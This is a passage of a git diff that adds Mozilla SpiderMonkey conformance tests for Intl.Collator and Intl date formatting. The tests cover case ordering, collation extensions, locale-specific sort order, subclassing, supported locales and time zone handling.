+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, tertiary));
+
+ assertEq(col.compare("A", "á"), -1);
+ assertEq(col.compare("á", "A"), 1);
+}
+
+// Also sorted after "a" with the sensitivity=case collator.
+for (let locale of defaultLocales) {
+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, caseLevel));
+
+ assertEq(col.compare("A", "a"), 1);
+ assertEq(col.compare("a", "A"), -1);
+
+ assertEq(col.compare("A", "á"), 1);
+ assertEq(col.compare("á", "A"), -1);
+}
+
+
+// "A" is sorted before "a" when caseFirst=upper is the default and strength is tertiary.
+for (let locale of upperFirstLocales) {
+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, tertiary));
+
+ assertEq(col.compare("A", "a"), -1);
+ assertEq(col.compare("a", "A"), 1);
+
+ assertEq(col.compare("A", "á"), -1);
+ assertEq(col.compare("á", "A"), 1);
+}
+
+// Also sorted before "a" with the sensitivity=case collator.
+for (let locale of upperFirstLocales) {
+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, caseLevel));
+
+ assertEq(col.compare("A", "a"), -1);
+ assertEq(col.compare("a", "A"), 1);
+
+ assertEq(col.compare("A", "á"), -1);
+ assertEq(col.compare("á", "A"), 1);
+}
+
+
+// caseFirst=upper doesn't change the sort order when strength is below tertiary.
+for (let locale of allLocales) {
+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, secondary));
+
+ assertEq(col.compare("A", "a"), 0);
+ assertEq(col.compare("a", "A"), 0);
+}
+for (let locale of allLocales.filter(loc => !accentReordered.includes(loc))) {
+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, secondary));
+
+ assertEq(col.compare("A", "á"), -1);
+ assertEq(col.compare("á", "A"), 1);
+}
+
+for (let locale of allLocales) {
+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, primary));
+
+ assertEq(col.compare("A", "a"), 0);
+ assertEq(col.compare("a", "A"), 0);
+
+ assertEq(col.compare("A", "á"), 0);
+ assertEq(col.compare("á", "A"), 0);
+}
+
+
+// caseFirst=upper doesn't change the sort order when there's a primary difference.
+for (let locale of allLocales) {
+ for (let strength of strengths) {
+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, strength));
+
+ assertEq(col.compare("A", "b"), -1);
+ assertEq(col.compare("a", "B"), -1);
+ }
+}
+
+
+// caseFirst set through Unicode extension tag.
+for (let locale of allLocales) {
+ let colKfFalse = new Intl.Collator(locale + "-u-kf-false", {});
+ let colKfLower = new Intl.Collator(locale + "-u-kf-lower", {});
+ let colKfUpper = new Intl.Collator(locale + "-u-kf-upper", {});
+
+ assertEq(colKfFalse.resolvedOptions().caseFirst, "false");
+ assertEq(colKfFalse.compare("A", "a"), 1);
+ assertEq(colKfFalse.compare("a", "A"), -1);
+
+ assertEq(colKfLower.resolvedOptions().caseFirst, "lower");
+ assertEq(colKfLower.compare("A", "a"), 1);
+ assertEq(colKfLower.compare("a", "A"), -1);
+
+ assertEq(colKfUpper.resolvedOptions().caseFirst, "upper");
+ assertEq(colKfUpper.compare("A", "a"), -1);
+ assertEq(colKfUpper.compare("a", "A"), 1);
+}
+
+
+// caseFirst set through options value.
+for (let locale of allLocales) {
+ let colKfFalse = new Intl.Collator(locale, {caseFirst: "false"});
+ let colKfLower = new Intl.Collator(locale, {caseFirst: "lower"});
+ let colKfUpper = new Intl.Collator(locale, {caseFirst: "upper"});
+
+ assertEq(colKfFalse.resolvedOptions().caseFirst, "false");
+ assertEq(colKfFalse.compare("A", "a"), 1);
+ assertEq(colKfFalse.compare("a", "A"), -1);
+
+ assertEq(colKfLower.resolvedOptions().caseFirst, "lower");
+ assertEq(colKfLower.compare("A", "a"), 1);
+ assertEq(colKfLower.compare("a", "A"), -1);
+
+ assertEq(colKfUpper.resolvedOptions().caseFirst, "upper");
+ assertEq(colKfUpper.compare("A", "a"), -1);
+ assertEq(colKfUpper.compare("a", "A"), 1);
+}
+
+
+// Test Unicode extension tag and options value, the latter should win.
+for (let locale of allLocales) {
+ let colKfFalse = new Intl.Collator(locale + "-u-kf-upper", {caseFirst: "false"});
+ let colKfLower = new Intl.Collator(locale + "-u-kf-upper", {caseFirst: "lower"});
+ let colKfUpper = new Intl.Collator(locale + "-u-kf-lower", {caseFirst: "upper"});
+
+ assertEq(colKfFalse.resolvedOptions().caseFirst, "false");
+ assertEq(colKfFalse.compare("A", "a"), 1);
+ assertEq(colKfFalse.compare("a", "A"), -1);
+
+ assertEq(colKfLower.resolvedOptions().caseFirst, "lower");
+ assertEq(colKfLower.compare("A", "a"), 1);
+ assertEq(colKfLower.compare("a", "A"), -1);
+
+ assertEq(colKfUpper.resolvedOptions().caseFirst, "upper");
+ assertEq(colKfUpper.compare("A", "a"), -1);
+ assertEq(colKfUpper.compare("a", "A"), 1);
+}
+
+// Ensure languages are properly detected when additional subtags are present.
+if (Intl.Collator.supportedLocalesOf("da").length !== 0) {
+ assertEq(new Intl.Collator("da-DK", {usage: "sort"}).resolvedOptions().caseFirst, "upper");
+ assertEq(new Intl.Collator("da-Latn-DK", {usage: "sort"}).resolvedOptions().caseFirst, "upper");
+}
+if (Intl.Collator.supportedLocalesOf("mt").length !== 0) {
+ assertEq(new Intl.Collator("mt-MT", {usage: "sort"}).resolvedOptions().caseFirst, "upper");
+ assertEq(new Intl.Collator("mt-Latn-MT", {usage: "sort"}).resolvedOptions().caseFirst, "upper");
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/Collator/collation.js b/js/src/tests/non262/Intl/Collator/collation.js
new file mode 100644
index 0000000000..f73728b876
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/collation.js
@@ -0,0 +1,90 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Collation can be set as Unicode locale extension or as a property.
+{
+ let c1 = new Intl.Collator("de", {usage: "sort"});
+ let c2 = new Intl.Collator("de", {usage: "sort", collation: "phonebk"});
+ let c3 = new Intl.Collator("de-u-co-phonebk", {usage: "sort"});
+
+ assertEq(c1.resolvedOptions().locale, "de");
+ assertEq(c2.resolvedOptions().locale, "de");
+ assertEq(c3.resolvedOptions().locale, "de-u-co-phonebk");
+
+ assertEq(c1.resolvedOptions().collation, "default");
+ assertEq(c2.resolvedOptions().collation, "phonebk");
+ assertEq(c3.resolvedOptions().collation, "phonebk");
+
+ assertEq(c1.compare("ä", "ae"), -1);
+ assertEq(c2.compare("ä", "ae"), 1);
+ assertEq(c3.compare("ä", "ae"), 1);
+}
+
+// Collation property overrides any Unicode locale extension.
+{
+ let c1 = new Intl.Collator("de-u-co-eor", {usage: "sort"});
+ let c2 = new Intl.Collator("de-u-co-eor", {usage: "sort", collation: "phonebk"});
+
+ // Ensure "eor" collation is supported.
+ assertEq(c1.resolvedOptions().locale, "de-u-co-eor");
+ assertEq(c1.resolvedOptions().collation, "eor");
+
+ // "phonebk" property overrides the Unicode locale extension.
+ assertEq(c2.resolvedOptions().locale, "de");
+ assertEq(c2.resolvedOptions().collation, "phonebk");
+
+ assertEq(c1.compare("ä", "ae"), -1);
+ assertEq(c2.compare("ä", "ae"), 1);
+}
+
+// The default sort collation can't be requested.
+{
+ // The default sort collation for Swedish (sv) was "reformed" before CLDR 42.
+ // It wasn't possible to override this and select the default root sort
+ // collation. Use English (en) as a locale which uses the root sort collation
+ // for comparison.
+ let c1 = new Intl.Collator("sv", {usage: "sort"});
+ let c2 = new Intl.Collator("sv-u-co-reformed", {usage: "sort"});
+ let c3 = new Intl.Collator("sv-u-co-standard", {usage: "sort"});
+ let c4 = new Intl.Collator("sv-u-co-default", {usage: "sort"});
+ let c5 = new Intl.Collator("en", {usage: "sort"});
+
+ assertEq(c1.resolvedOptions().locale, "sv");
+ assertEq(c2.resolvedOptions().locale, "sv");
+ assertEq(c3.resolvedOptions().locale, "sv");
+ assertEq(c4.resolvedOptions().locale, "sv");
+ assertEq(c5.resolvedOptions().locale, "en");
+
+ assertEq(c1.resolvedOptions().collation, "default");
+ assertEq(c2.resolvedOptions().collation, "default");
+ assertEq(c3.resolvedOptions().collation, "default");
+ assertEq(c4.resolvedOptions().collation, "default");
+ assertEq(c5.resolvedOptions().collation, "default");
+
+ assertEq(c1.compare("y", "ü"), -1);
+ assertEq(c2.compare("y", "ü"), -1);
+ assertEq(c3.compare("y", "ü"), -1);
+ assertEq(c4.compare("y", "ü"), -1);
+ assertEq(c5.compare("y", "ü"), 1);
+}
+
+// Search collations ignore any collation overrides.
+{
+ let c1 = new Intl.Collator("de", {usage: "search"});
+ let c2 = new Intl.Collator("de", {usage: "search", collation: "phonebk"});
+ let c3 = new Intl.Collator("de-u-co-phonebk", {usage: "search"});
+
+ assertEq(c1.resolvedOptions().locale, "de");
+ assertEq(c2.resolvedOptions().locale, "de");
+ assertEq(c3.resolvedOptions().locale, "de");
+
+ assertEq(c1.resolvedOptions().collation, "default");
+ assertEq(c2.resolvedOptions().collation, "default");
+ assertEq(c3.resolvedOptions().collation, "default");
+
+ assertEq(c1.compare("ä", "ae"), 1);
+ assertEq(c2.compare("ä", "ae"), 1);
+ assertEq(c3.compare("ä", "ae"), 1);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/Collator/compare.js b/js/src/tests/non262/Intl/Collator/compare.js
new file mode 100644
index 0000000000..6f57c722dd
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/compare.js
@@ -0,0 +1,137 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the compare function with a diverse set of locales and options.
+
+var input = [
+ "Argentina",
+ "Oerlikon",
+ "Offenbach",
+ "Sverige",
+ "Vaticano",
+ "Zimbabwe",
+ "la France",
+ "¡viva España!",
+ "Österreich",
+ "中国",
+ "日本",
+ "한국",
+];
+
+var collator, expected;
+
+function assertEqualArray(actual, expected, collator) {
+ var description = JSON.stringify(collator.resolvedOptions());
+ assertEq(actual.length, expected.length, "array length, " + description);
+ for (var i = 0; i < actual.length; i++) {
+ assertEq(actual[i], expected[i], "element " + i + ", " + description);
+ }
+}
+
+
+// Locale en-US; default options.
+collator = new Intl.Collator("en-US");
+expected = [
+ "¡viva España!",
+ "Argentina",
+ "la France",
+ "Oerlikon",
+ "Offenbach",
+ "Österreich",
+ "Sverige",
+ "Vaticano",
+ "Zimbabwe",
+ "한국",
+ "中国",
+ "日本",
+];
+assertEqualArray(input.sort(collator.compare), expected, collator);
+
+// Locale sv-SE; default options.
+// Swedish treats "Ö" as a separate character, which sorts after "Z".
+collator = new Intl.Collator("sv-SE");
+expected = [
+ "¡viva España!",
+ "Argentina",
+ "la France",
+ "Oerlikon",
+ "Offenbach",
+ "Sverige",
+ "Vaticano",
+ "Zimbabwe",
+ "Österreich",
+ "한국",
+ "中国",
+ "日本",
+];
+assertEqualArray(input.sort(collator.compare), expected, collator);
+
+// Locale sv-SE; ignore punctuation.
+collator = new Intl.Collator("sv-SE", {ignorePunctuation: true});
+expected = [
+ "Argentina",
+ "la France",
+ "Oerlikon",
+ "Offenbach",
+ "Sverige",
+ "Vaticano",
+ "¡viva España!",
+ "Zimbabwe",
+ "Österreich",
+ "한국",
+ "中国",
+ "日本",
+];
+assertEqualArray(input.sort(collator.compare), expected, collator);
+
+// Locale de-DE; default options.
+// In German standard sorting, umlauted characters are treated as variants
+// of their base characters: ä ≅ a, ö ≅ o, ü ≅ u.
+collator = new Intl.Collator("de-DE");
+expected = [
+ "¡viva España!",
+ "Argentina",
+ "la France",
+ "Oerlikon",
+ "Offenbach",
+ "Österreich",
+ "Sverige",
+ "Vaticano",
+ "Zimbabwe",
+ "한국",
+ "中国",
+ "日本",
+];
+assertEqualArray(input.sort(collator.compare), expected, collator);
+
+// Locale de-DE; phonebook sort order.
+// In German phonebook sorting, umlauted characters are expanded to two-vowel
+// sequences: ä → ae, ö → oe, ü → ue.
+collator = new Intl.Collator("de-DE-u-co-phonebk");
+expected = [
+ "¡viva España!",
+ "Argentina",
+ "la France",
+ "Oerlikon",
+ "Österreich",
+ "Offenbach",
+ "Sverige",
+ "Vaticano",
+ "Zimbabwe",
+ "한국",
+ "中国",
+ "日本",
+];
+assertEqualArray(input.sort(collator.compare), expected, collator);
+
+
+// Test the .name property of the "compare" getter.
+var desc = Object.getOwnPropertyDescriptor(Intl.Collator.prototype, "compare");
+assertEq(desc !== undefined, true);
+assertEq(typeof desc.get, "function");
+assertEq(desc.get.name, "get compare");
+
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/Collator/construct-newtarget.js b/js/src/tests/non262/Intl/Collator/construct-newtarget.js
new file mode 100644
index 0000000000..5db1abf373
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/construct-newtarget.js
@@ -0,0 +1,81 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Test subclassing %Intl.Collator% works correctly.
+class MyCollator extends Intl.Collator {}
+
+var obj = new MyCollator();
+assertEq(obj instanceof MyCollator, true);
+assertEq(obj instanceof Intl.Collator, true);
+assertEq(Object.getPrototypeOf(obj), MyCollator.prototype);
+
+obj = Reflect.construct(MyCollator, []);
+assertEq(obj instanceof MyCollator, true);
+assertEq(obj instanceof Intl.Collator, true);
+assertEq(Object.getPrototypeOf(obj), MyCollator.prototype);
+
+obj = Reflect.construct(MyCollator, [], MyCollator);
+assertEq(obj instanceof MyCollator, true);
+assertEq(obj instanceof Intl.Collator, true);
+assertEq(Object.getPrototypeOf(obj), MyCollator.prototype);
+
+obj = Reflect.construct(MyCollator, [], Intl.Collator);
+assertEq(obj instanceof MyCollator, false);
+assertEq(obj instanceof Intl.Collator, true);
+assertEq(Object.getPrototypeOf(obj), Intl.Collator.prototype);
+
+
+// Set a different constructor as NewTarget.
+obj = Reflect.construct(MyCollator, [], Array);
+assertEq(obj instanceof MyCollator, false);
+assertEq(obj instanceof Intl.Collator, false);
+assertEq(obj instanceof Array, true);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+obj = Reflect.construct(Intl.Collator, [], Array);
+assertEq(obj instanceof Intl.Collator, false);
+assertEq(obj instanceof Array, true);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+
+// The prototype defaults to %CollatorPrototype% if null.
+function NewTargetNullPrototype() {}
+NewTargetNullPrototype.prototype = null;
+
+obj = Reflect.construct(Intl.Collator, [], NewTargetNullPrototype);
+assertEq(obj instanceof Intl.Collator, true);
+assertEq(Object.getPrototypeOf(obj), Intl.Collator.prototype);
+
+obj = Reflect.construct(MyCollator, [], NewTargetNullPrototype);
+assertEq(obj instanceof MyCollator, false);
+assertEq(obj instanceof Intl.Collator, true);
+assertEq(Object.getPrototypeOf(obj), Intl.Collator.prototype);
+
+
+// "prototype" property is retrieved exactly once.
+var trapLog = [], getLog = [];
+var ProxiedConstructor = new Proxy(Intl.Collator, new Proxy({
+ get(target, propertyKey, receiver) {
+ getLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}, {
+ get(target, propertyKey, receiver) {
+ trapLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}));
+
+obj = Reflect.construct(Intl.Collator, [], ProxiedConstructor);
+assertEqArray(trapLog, ["get"]);
+assertEqArray(getLog, ["prototype"]);
+assertEq(obj instanceof Intl.Collator, true);
+assertEq(Object.getPrototypeOf(obj), Intl.Collator.prototype);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Collator/cross-compartment.js b/js/src/tests/non262/Intl/Collator/cross-compartment.js
new file mode 100644
index 0000000000..a8cf3134ca
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/cross-compartment.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+var otherGlobal = newGlobal();
+
+var collator = new Intl.Collator();
+var ccwCollator = new otherGlobal.Intl.Collator();
+
+// Test Intl.Collator.prototype.compare with a CCW object.
+var Intl_Collator_compare_get = Object.getOwnPropertyDescriptor(Intl.Collator.prototype, "compare").get;
+
+assertEq(Intl_Collator_compare_get.call(ccwCollator)("a", "A"),
+ Intl_Collator_compare_get.call(collator)("a", "A"));
+
+// Test Intl.Collator.prototype.resolvedOptions with a CCW object.
+var Intl_Collator_resolvedOptions = Intl.Collator.prototype.resolvedOptions;
+
+assertEq(deepEqual(Intl_Collator_resolvedOptions.call(ccwCollator),
+ Intl_Collator_resolvedOptions.call(collator)),
+ true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/Collator/implicithan.js b/js/src/tests/non262/Intl/Collator/implicithan.js
new file mode 100644
index 0000000000..518ecdb43e
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/implicithan.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+let scrambled = ['𠙶', '𠇲', '㓙', '㑧', '假', '凷'];
+
+// Sort first by block and then by radical-stroke inside each block.
+// This matches the ICU/ICU4X implicithan root order, which is used
+// by Chrome as of October 2022. (As of October 2022, Safari uses
+// the unihan root order, which uses more data but uses radical-stroke
+// across blocks.)
+const byBlock = ['假', '凷', '㑧', '㓙', '𠇲', '𠙶'];
+
+scrambled.sort(new Intl.Collator().compare);
+assertEqArray(scrambled, byBlock);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/Collator/shell.js b/js/src/tests/non262/Intl/Collator/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/shell.js
diff --git a/js/src/tests/non262/Intl/Collator/supportedLocalesOf.js b/js/src/tests/non262/Intl/Collator/supportedLocalesOf.js
new file mode 100644
index 0000000000..7fbebca094
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/supportedLocalesOf.js
@@ -0,0 +1,355 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||xulRuntime.shell)
+// -- test in browser only that ICU has locale data for all Mozilla languages
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// This array contains the locales that ICU supports in
+// collation whose languages Mozilla localizes Firefox into.
+// Current as of ICU 50.1.2 and Firefox March 2013.
+var locales = [
+ "af",
+ "af-NA",
+ "af-ZA",
+ "ar",
+ "ar-001",
+ "ar-AE",
+ "ar-BH",
+ "ar-DJ",
+ "ar-DZ",
+ "ar-EG",
+ "ar-EH",
+ "ar-ER",
+ "ar-IL",
+ "ar-IQ",
+ "ar-JO",
+ "ar-KM",
+ "ar-KW",
+ "ar-LB",
+ "ar-LY",
+ "ar-MA",
+ "ar-MR",
+ "ar-OM",
+ "ar-PS",
+ "ar-QA",
+ "ar-SA",
+ "ar-SD",
+ "ar-SO",
+ "ar-SY",
+ "ar-TD",
+ "ar-TN",
+ "ar-YE",
+ "as",
+ "as-IN",
+ "be",
+ "be-BY",
+ "bg",
+ "bg-BG",
+ "bn",
+ "bn-BD",
+ "bn-IN",
+ "bs",
+ "bs-Cyrl",
+ "bs-Cyrl-BA",
+ "bs-Latn",
+ "bs-Latn-BA",
+ "ca",
+ "ca-AD",
+ "ca-ES",
+ "cs",
+ "cs-CZ",
+ "cy",
+ "cy-GB",
+ "da",
+ "da-DK",
+ "de",
+ "de-AT",
+ "de-BE",
+ "de-CH",
+ "de-DE",
+ "de-LI",
+ "de-LU",
+ "el",
+ "el-CY",
+ "el-GR",
+ "en",
+ "en-150",
+ "en-AG",
+ "en-AS",
+ "en-AU",
+ "en-BB",
+ "en-BE",
+ "en-BM",
+ "en-BS",
+ "en-BW",
+ "en-BZ",
+ "en-CA",
+ "en-CM",
+ "en-DM",
+ "en-FJ",
+ "en-FM",
+ "en-GB",
+ "en-GD",
+ "en-GG",
+ "en-GH",
+ "en-GI",
+ "en-GM",
+ "en-GU",
+ "en-HK",
+ "en-IE",
+ "en-IM",
+ "en-IN",
+ "en-JE",
+ "en-JM",
+ "en-KE",
+ "en-KI",
+ "en-KN",
+ "en-KY",
+ "en-LC",
+ "en-LR",
+ "en-LS",
+ "en-MG",
+ "en-MH",
+ "en-MP",
+ "en-MT",
+ "en-MU",
+ "en-MW",
+ "en-NA",
+ "en-NG",
+ "en-NZ",
+ "en-PG",
+ "en-PH",
+ "en-PK",
+ "en-PR",
+ "en-PW",
+ "en-SB",
+ "en-SC",
+ "en-SG",
+ "en-SL",
+ "en-SS",
+ "en-TC",
+ "en-TO",
+ "en-TT",
+ "en-TZ",
+ "en-UG",
+ "en-UM",
+ "en-US",
+ "en-US-POSIX",
+ "en-VC",
+ "en-VG",
+ "en-VI",
+ "en-VU",
+ "en-WS",
+ "en-ZA",
+ "en-ZM",
+ "en-ZW",
+ "eo",
+ "es",
+ "es-419",
+ "es-AR",
+ "es-BO",
+ "es-CL",
+ "es-CO",
+ "es-CR",
+ "es-CU",
+ "es-DO",
+ "es-EA",
+ "es-EC",
+ "es-ES",
+ "es-GQ",
+ "es-GT",
+ "es-HN",
+ "es-IC",
+ "es-MX",
+ "es-NI",
+ "es-PA",
+ "es-PE",
+ "es-PH",
+ "es-PR",
+ "es-PY",
+ "es-SV",
+ "es-US",
+ "es-UY",
+ "es-VE",
+ "et",
+ "et-EE",
+ "fa",
+ "fa-AF",
+ "fa-IR",
+ "fi",
+ "fi-FI",
+ "fr",
+ "fr-BE",
+ "fr-BF",
+ "fr-BI",
+ "fr-BJ",
+ "fr-BL",
+ "fr-CA",
+ "fr-CD",
+ "fr-CF",
+ "fr-CG",
+ "fr-CH",
+ "fr-CI",
+ "fr-CM",
+ "fr-DJ",
+ "fr-DZ",
+ "fr-FR",
+ "fr-GA",
+ "fr-GN",
+ "fr-GP",
+ "fr-GQ",
+ "fr-HT",
+ "fr-KM",
+ "fr-LU",
+ "fr-MA",
+ "fr-MC",
+ "fr-MF",
+ "fr-MG",
+ "fr-ML",
+ "fr-MQ",
+ "fr-MR",
+ "fr-MU",
+ "fr-NC",
+ "fr-NE",
+ "fr-PF",
+ "fr-RE",
+ "fr-RW",
+ "fr-SC",
+ "fr-SN",
+ "fr-SY",
+ "fr-TD",
+ "fr-TG",
+ "fr-TN",
+ "fr-VU",
+ "ga",
+ "ga-IE",
+ "gu",
+ "gu-IN",
+ "he",
+ "he-IL",
+ "hi",
+ "hi-IN",
+ "hr",
+ "hr-BA",
+ "hr-HR",
+ "hu",
+ "hu-HU",
+ "hy",
+ "hy-AM",
+ "id",
+ "id-ID",
+ "is",
+ "is-IS",
+ "it",
+ "it-CH",
+ "it-IT",
+ "it-SM",
+ "ja",
+ "ja-JP",
+ "kk",
+ "kk-KZ",
+ "km",
+ "km-KH",
+ "kn",
+ "kn-IN",
+ "ko",
+ "ko-KP",
+ "ko-KR",
+ "lt",
+ "lt-LT",
+ "lv",
+ "lv-LV",
+ "mk",
+ "mk-MK",
+ "ml",
+ "ml-IN",
+ "mr",
+ "mr-IN",
+ "nb",
+ "nb-NO",
+ "nl",
+ "nl-AW",
+ "nl-BE",
+ "nl-CW",
+ "nl-NL",
+ "nl-SR",
+ "nl-SX",
+ "nn",
+ "nn-NO",
+ "or",
+ "or-IN",
+ "pa",
+ "pa-Arab",
+ "pa-Arab-PK",
+ "pa-Guru",
+ "pa-Guru-IN",
+ "pl",
+ "pl-PL",
+ "pt",
+ "pt-AO",
+ "pt-BR",
+ "pt-CV",
+ "pt-GW",
+ "pt-MO",
+ "pt-MZ",
+ "pt-PT",
+ "pt-ST",
+ "pt-TL",
+ "ro",
+ "ro-MD",
+ "ro-RO",
+ "ru",
+ "ru-BY",
+ "ru-KG",
+ "ru-KZ",
+ "ru-MD",
+ "ru-RU",
+ "ru-UA",
+ "si",
+ "si-LK",
+ "sk",
+ "sk-SK",
+ "sl",
+ "sl-SI",
+ "sq",
+ "sq-AL",
+ "sq-MK",
+ "sr",
+ "sr-Cyrl",
+ "sr-Cyrl-BA",
+ "sr-Cyrl-ME",
+ "sr-Cyrl-RS",
+ "sr-Latn",
+ "sr-Latn-BA",
+ "sr-Latn-ME",
+ "sr-Latn-RS",
+ "sv",
+ "sv-AX",
+ "sv-FI",
+ "sv-SE",
+ "te",
+ "te-IN",
+ "th",
+ "th-TH",
+ "tr",
+ "tr-CY",
+ "tr-TR",
+ "uk",
+ "uk-UA",
+ "vi",
+ "vi-VN",
+ "zh",
+ "zh-Hans",
+ "zh-Hans-CN",
+ "zh-Hans-SG",
+ "zh-Hant",
+ "zh-Hant-HK",
+ "zh-Hant-MO",
+ "zh-Hant-TW",
+];
+
+
+var count = Intl.Collator.supportedLocalesOf(locales).length;
+
+reportCompare(locales.length, count, "Number of supported locales in Intl.Collator");
diff --git a/js/src/tests/non262/Intl/Collator/toStringTag.js b/js/src/tests/non262/Intl/Collator/toStringTag.js
new file mode 100644
index 0000000000..e092418df9
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/toStringTag.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var desc = Object.getOwnPropertyDescriptor(Intl.Collator.prototype, Symbol.toStringTag);
+
+assertEq(desc !== undefined, true);
+assertEq(desc.value, "Intl.Collator");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(Object.prototype.toString.call(Intl.Collator.prototype), "[object Intl.Collator]");
+assertEq(Object.prototype.toString.call(new Intl.Collator), "[object Intl.Collator]");
+
+Object.defineProperty(Intl.Collator.prototype, Symbol.toStringTag, {value: "Collator"});
+
+assertEq(Object.prototype.toString.call(Intl.Collator.prototype), "[object Collator]");
+assertEq(Object.prototype.toString.call(new Intl.Collator), "[object Collator]");
+
+delete Intl.Collator.prototype[Symbol.toStringTag];
+
+assertEq(Object.prototype.toString.call(Intl.Collator.prototype), "[object Object]");
+assertEq(Object.prototype.toString.call(new Intl.Collator), "[object Object]");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/Date/browser.js b/js/src/tests/non262/Intl/Date/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/Date/browser.js
diff --git a/js/src/tests/non262/Intl/Date/shell.js b/js/src/tests/non262/Intl/Date/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/Date/shell.js
diff --git a/js/src/tests/non262/Intl/Date/toLocaleDateString_timeZone.js b/js/src/tests/non262/Intl/Date/toLocaleDateString_timeZone.js
new file mode 100644
index 0000000000..e3c3013d30
--- /dev/null
+++ b/js/src/tests/non262/Intl/Date/toLocaleDateString_timeZone.js
@@ -0,0 +1,77 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const defaultLocale = "en-US";
+const defaultDate = Date.UTC(2012, 12-1, 6, 12, 0, 0);
+const defaultOptions = { timeZoneName: "short" };
+
+const tests = [
+ {
+ timeZone: "UTC",
+ result: "12/6/2012, UTC",
+ },
+ {
+ timeZone: "America/Los_Angeles",
+ result: "12/6/2012, PST",
+ },
+ {
+ timeZone: "Europe/Berlin", locale: "de",
+ options: { timeZoneName: "short" },
+ result: "6.12.2012, MEZ",
+ },
+ {
+ timeZone: "Europe/Paris", locale: "fr",
+ options: { timeZoneName: "long" },
+ result: "06/12/2012 heure normale d’Europe centrale",
+ },
+ {
+ timeZone: "Asia/Shanghai", locale: "zh-Hans-CN",
+ options: { timeZoneName: "long" },
+ result: "2012/12/6 中国标准时间",
+ },
+ {
+ timeZone: { toString: () => "Australia/Melbourne" }, locale: "en-AU",
+ result: "06/12/2012, AEDT",
+ },
+];
+
+for (let {timeZone, result, locale = defaultLocale, date = defaultDate, options = defaultOptions} of tests) {
+ let s = new Date(date).toLocaleDateString(locale, Object.assign({timeZone}, options));
+ assertEq(s, result);
+}
+
+
+// |undefined| or absent "timeZone" option selects the default time zone.
+{
+ let locale = defaultLocale;
+ let date = defaultDate;
+ let options = defaultOptions;
+
+ let absentTz = new Date(date).toLocaleDateString(locale, Object.assign({}, options));
+ let undefinedTz = new Date(date).toLocaleDateString(locale, Object.assign({timeZone: undefined}, options));
+ assertEq(undefinedTz, absentTz);
+}
+
+
+// RangeError is thrown for invalid time zone names.
+for (let timeZone of ["", "undefined", "UTC\0", "Vienna", "Africa", "America/NewYork"]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleDateString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// RangeError is thrown for these values, because ToString(<value>)
+// isn't a valid time zone name.
+for (let timeZone of [null, 0, 0.5, true, false, [], {}, function() {}]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleDateString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// ToString(<symbol>) throws TypeError.
+assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleDateString(undefined, {timeZone: Symbol()});
+}, TypeError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
